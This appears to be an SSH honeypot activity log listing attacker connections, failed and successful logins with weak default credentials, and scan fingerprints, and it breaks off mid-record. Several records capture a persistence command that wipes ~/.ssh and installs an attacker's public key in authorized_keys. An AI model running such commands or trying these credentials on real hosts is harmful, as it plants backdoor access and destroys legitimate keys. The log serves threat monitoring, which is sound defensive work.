Adversarial Observation Interface

113.31.103.129

2026-10-05 03:29:50.271194 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: fa67ada13bee

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

{
  "id": "fa67ada13bee",
  "src_ip": "113.31.103.129",
  "start_time": "2026-10-05T03:29:50.271194Z",
  "end_time": "2026-10-05T03:31:50.276642Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

121.204.171.142

2026-10-05 03:29:32.751265 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: carla

Record ID: 4b49612289d3

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 3.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "4b49612289d3",
  "src_ip": "121.204.171.142",
  "start_time": "2026-10-05T03:29:32.751265Z",
  "end_time": "2026-10-05T03:29:36.062496Z",
  "duration": "3.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "carla",
      "pass": "123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

171.104.143.176

2026-10-05 03:28:46.890882 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 07f81ee355f7

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 1.2s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "07f81ee355f7",
  "src_ip": "171.104.143.176",
  "start_time": "2026-10-05T03:28:46.890882Z",
  "end_time": "2026-10-05T03:28:48.075754Z",
  "duration": "1.2",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

171.104.143.176

2026-10-05 03:28:44.548467 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: fff3cc268f69

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.1s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "fff3cc268f69",
  "src_ip": "171.104.143.176",
  "start_time": "2026-10-05T03:28:44.548467Z",
  "end_time": "2026-10-05T03:28:46.698436Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

171.104.143.176

2026-10-05 03:28:42.181505 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / liang123456

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 4ee5b99a0a05

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 5.9s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "4ee5b99a0a05",
  "src_ip": "171.104.143.176",
  "start_time": "2026-10-05T03:28:42.181505Z",
  "end_time": "2026-10-05T03:28:48.070240Z",
  "duration": "5.9",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "liang123456"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

139.19.117.130

2026-10-05 03:25:47.997640 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (2 distinct queries). Vector identities: admin

Record ID: 08bb10d253c1

Client Version: SSH-2.0-Go

Engagement Duration: 10.0s

HASSH Fingerprint: f1e5e9d24e5e345e8745613bde22d532

{
  "id": "08bb10d253c1",
  "src_ip": "139.19.117.130",
  "start_time": "2026-10-05T03:25:47.997640Z",
  "end_time": "2026-10-05T03:25:57.996591Z",
  "duration": "10.0",
  "version": "SSH-2.0-Go",
  "hassh": "f1e5e9d24e5e345e8745613bde22d532",
  "attempts": [
    {
      "user": "admin",
      "pass": null
    },
    {
      "user": "admin",
      "pass": null
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

2.188.206.146

2026-10-05 03:24:29.373837 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / ubuntu123456

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo xsec

Record ID: 34b58d401d35

Client Version: SSH-2.0-Go

Engagement Duration: 4.4s

HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6

{
  "id": "34b58d401d35",
  "src_ip": "2.188.206.146",
  "start_time": "2026-10-05T03:24:29.373837Z",
  "end_time": "2026-10-05T03:24:33.768600Z",
  "duration": "4.4",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "ubuntu123456"
  },
  "commands": [
    "echo xsec"
  ],
  "detailed_commands": [
    {
      "cmd": "echo xsec",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

46.188.119.26

2026-10-05 03:22:41.770196 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: test / 3245gs5662d34

Record ID: cccb27e50e48

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "cccb27e50e48",
  "src_ip": "46.188.119.26",
  "start_time": "2026-10-05T03:22:41.770196Z",
  "end_time": "2026-10-05T03:22:42.858492Z",
  "duration": "1.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "test",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

46.188.119.26

2026-10-05 03:22:39.518698 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: f326d39d7ef9

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "f326d39d7ef9",
  "src_ip": "46.188.119.26",
  "start_time": "2026-10-05T03:22:39.518698Z",
  "end_time": "2026-10-05T03:22:41.598880Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

46.188.119.26

2026-10-05 03:22:37.263003 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: test / Huawei@123

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 31a3caee1b07

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 5.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "31a3caee1b07",
  "src_ip": "46.188.119.26",
  "start_time": "2026-10-05T03:22:37.263003Z",
  "end_time": "2026-10-05T03:22:42.855174Z",
  "duration": "5.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "test",
    "pass": "Huawei@123"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

45.173.213.23

2026-10-05 03:20:34.196509 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 79960e71786b

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "79960e71786b",
  "src_ip": "45.173.213.23",
  "start_time": "2026-10-05T03:20:34.196509Z",
  "end_time": "2026-10-05T03:20:34.199944Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

2.188.206.146

2026-10-05 03:15:04.558453 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / ubuntu12345

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo xsec

Record ID: 6c39a644bb61

Client Version: SSH-2.0-Go

Engagement Duration: 4.1s

HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6

{
  "id": "6c39a644bb61",
  "src_ip": "2.188.206.146",
  "start_time": "2026-10-05T03:15:04.558453Z",
  "end_time": "2026-10-05T03:15:08.667763Z",
  "duration": "4.1",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "ubuntu12345"
  },
  "commands": [
    "echo xsec"
  ],
  "detailed_commands": [
    {
      "cmd": "echo xsec",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

82.222.187.49

2026-10-05 03:14:54.656927 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e7a59d4a85d2

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "e7a59d4a85d2",
  "src_ip": "82.222.187.49",
  "start_time": "2026-10-05T03:14:54.656927Z",
  "end_time": "2026-10-05T03:14:54.660522Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

82.222.187.49

2026-10-05 03:14:17.105914 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 0f5e305578a1

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "0f5e305578a1",
  "src_ip": "82.222.187.49",
  "start_time": "2026-10-05T03:14:17.105914Z",
  "end_time": "2026-10-05T03:14:17.109320Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

34.77.8.143

2026-10-05 03:10:18.418898 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 380bb905e359

Client Version: SSH-2.0-libssh2_1.10.0

Engagement Duration: 0.8s

HASSH Fingerprint: b4b8ae3d7241d2c1dc54b4df7e8c19d1

{
  "id": "380bb905e359",
  "src_ip": "34.77.8.143",
  "start_time": "2026-10-05T03:10:18.418898Z",
  "end_time": "2026-10-05T03:10:19.192460Z",
  "duration": "0.8",
  "version": "SSH-2.0-libssh2_1.10.0",
  "hassh": "b4b8ae3d7241d2c1dc54b4df7e8c19d1",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

176.53.159.196

2026-10-05 03:10:13.663514 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 119075e4e132

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "119075e4e132",
  "src_ip": "176.53.159.196",
  "start_time": "2026-10-05T03:10:13.663514Z",
  "end_time": "2026-10-05T03:10:14.851383Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

34.77.8.143

2026-10-05 03:10:01.516956 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 0389c08921b1

Client Version: SSH-2.0-Nmap_SSH2_Enum_Algos

Engagement Duration: 0.2s

HASSH Fingerprint: a20aced7c9824fd804f59e68dd801ad3

{
  "id": "0389c08921b1",
  "src_ip": "34.77.8.143",
  "start_time": "2026-10-05T03:10:01.516956Z",
  "end_time": "2026-10-05T03:10:01.693901Z",
  "duration": "0.2",
  "version": "SSH-2.0-Nmap_SSH2_Enum_Algos",
  "hassh": "a20aced7c9824fd804f59e68dd801ad3",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

34.77.8.143

2026-10-05 03:10:00.802581 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 71d7d8f60abc

Client Version: SSH-2.0-Nmap-SSH2-Hostkey

Engagement Duration: 0.6s

HASSH Fingerprint: e788c657d1a22971d5026526ffd2e918

{
  "id": "71d7d8f60abc",
  "src_ip": "34.77.8.143",
  "start_time": "2026-10-05T03:10:00.802581Z",
  "end_time": "2026-10-05T03:10:01.433551Z",
  "duration": "0.6",
  "version": "SSH-2.0-Nmap-SSH2-Hostkey",
  "hassh": "e788c657d1a22971d5026526ffd2e918",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

34.77.8.143

2026-10-05 03:10:00.335936 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 5ff31672c872

Client Version: SSH-2.0-Nmap-SSH2-Hostkey

Engagement Duration: 0.3s

HASSH Fingerprint: e788c657d1a22971d5026526ffd2e918

{
  "id": "5ff31672c872",
  "src_ip": "34.77.8.143",
  "start_time": "2026-10-05T03:10:00.335936Z",
  "end_time": "2026-10-05T03:10:00.648350Z",
  "duration": "0.3",
  "version": "SSH-2.0-Nmap-SSH2-Hostkey",
  "hassh": "e788c657d1a22971d5026526ffd2e918",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

34.77.8.143

2026-10-05 03:09:59.868543 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4db00f43bc14

Client Version: SSH-2.0-Nmap-SSH2-Hostkey

Engagement Duration: 0.3s

HASSH Fingerprint: e788c657d1a22971d5026526ffd2e918

{
  "id": "4db00f43bc14",
  "src_ip": "34.77.8.143",
  "start_time": "2026-10-05T03:09:59.868543Z",
  "end_time": "2026-10-05T03:10:00.184005Z",
  "duration": "0.3",
  "version": "SSH-2.0-Nmap-SSH2-Hostkey",
  "hassh": "e788c657d1a22971d5026526ffd2e918",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

34.77.8.143

2026-10-05 03:09:59.090635 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ec545808a574

Client Version: SSH-2.0-Nmap-SSH2-Hostkey

Engagement Duration: 0.6s

HASSH Fingerprint: e788c657d1a22971d5026526ffd2e918

{
  "id": "ec545808a574",
  "src_ip": "34.77.8.143",
  "start_time": "2026-10-05T03:09:59.090635Z",
  "end_time": "2026-10-05T03:09:59.731980Z",
  "duration": "0.6",
  "version": "SSH-2.0-Nmap-SSH2-Hostkey",
  "hassh": "e788c657d1a22971d5026526ffd2e918",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

34.77.8.143

2026-10-05 03:09:58.326070 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ba991b054e10

Client Version: SSH-2.0-Nmap-SSH2-Hostkey

Engagement Duration: 0.6s

HASSH Fingerprint: e788c657d1a22971d5026526ffd2e918

{
  "id": "ba991b054e10",
  "src_ip": "34.77.8.143",
  "start_time": "2026-10-05T03:09:58.326070Z",
  "end_time": "2026-10-05T03:09:58.956589Z",
  "duration": "0.6",
  "version": "SSH-2.0-Nmap-SSH2-Hostkey",
  "hassh": "e788c657d1a22971d5026526ffd2e918",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

34.77.8.143

2026-10-05 03:09:57.867190 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 8642c20f828f

Client Version: SSH-2.0-Nmap-SSH2-Hostkey

Engagement Duration: 0.3s

HASSH Fingerprint: e788c657d1a22971d5026526ffd2e918

{
  "id": "8642c20f828f",
  "src_ip": "34.77.8.143",
  "start_time": "2026-10-05T03:09:57.867190Z",
  "end_time": "2026-10-05T03:09:58.176906Z",
  "duration": "0.3",
  "version": "SSH-2.0-Nmap-SSH2-Hostkey",
  "hassh": "e788c657d1a22971d5026526ffd2e918",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

192.168.0.1

2026-10-05 03:09:57.715429 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 03a881f4cc55

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "03a881f4cc55",
  "src_ip": "192.168.0.1",
  "start_time": "2026-10-05T03:09:57.715429Z",
  "end_time": "2026-10-05T03:09:57.725580Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

34.77.8.143

2026-10-05 03:09:57.285482 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 739833f43248

Client Version: SSH-1.5-Nmap-SSH1-Hostkey

Engagement Duration: 0.2s

{
  "id": "739833f43248",
  "src_ip": "34.77.8.143",
  "start_time": "2026-10-05T03:09:57.285482Z",
  "end_time": "2026-10-05T03:09:57.522277Z",
  "duration": "0.2",
  "version": "SSH-1.5-Nmap-SSH1-Hostkey",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

34.77.8.143

2026-10-05 03:09:50.775163 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b2f4d58601ae

Client Version: Unknown

Engagement Duration: 0.1s

{
  "id": "b2f4d58601ae",
  "src_ip": "34.77.8.143",
  "start_time": "2026-10-05T03:09:50.775163Z",
  "end_time": "2026-10-05T03:09:50.915419Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

34.22.152.86

2026-10-05 03:09:48.142419 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / admin

Record ID: 01e0ba596204

Client Version: SSH-2.0-Go

Engagement Duration: 0.7s

HASSH Fingerprint: dde267e50f82fcc16a7e1e7b59b8af71

{
  "id": "01e0ba596204",
  "src_ip": "34.22.152.86",
  "start_time": "2026-10-05T03:09:48.142419Z",
  "end_time": "2026-10-05T03:09:48.864931Z",
  "duration": "0.7",
  "version": "SSH-2.0-Go",
  "hassh": "dde267e50f82fcc16a7e1e7b59b8af71",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "admin"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

34.22.152.86

2026-10-05 03:09:47.728416 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9adc39df7a39

Client Version: SSH-2.0-Fingerprintx-SSH2

Engagement Duration: 8.0s

HASSH Fingerprint: 4e066189c3bbeec38c99b1855113733a

{
  "id": "9adc39df7a39",
  "src_ip": "34.22.152.86",
  "start_time": "2026-10-05T03:09:47.728416Z",
  "end_time": "2026-10-05T03:09:55.736268Z",
  "duration": "8.0",
  "version": "SSH-2.0-Fingerprintx-SSH2",
  "hassh": "4e066189c3bbeec38c99b1855113733a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

2.188.206.146

2026-10-05 03:05:38.882965 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / ubuntu1234

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo xsec

Record ID: e04856aca5ed

Client Version: SSH-2.0-Go

Engagement Duration: 3.5s

HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6

{
  "id": "e04856aca5ed",
  "src_ip": "2.188.206.146",
  "start_time": "2026-10-05T03:05:38.882965Z",
  "end_time": "2026-10-05T03:05:42.396483Z",
  "duration": "3.5",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "ubuntu1234"
  },
  "commands": [
    "echo xsec"
  ],
  "detailed_commands": [
    {
      "cmd": "echo xsec",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

2.188.206.146

2026-10-05 02:56:13.067701 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / ubuntu123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo xsec

Record ID: 052768cbf220

Client Version: SSH-2.0-Go

Engagement Duration: 2.3s

HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6

{
  "id": "052768cbf220",
  "src_ip": "2.188.206.146",
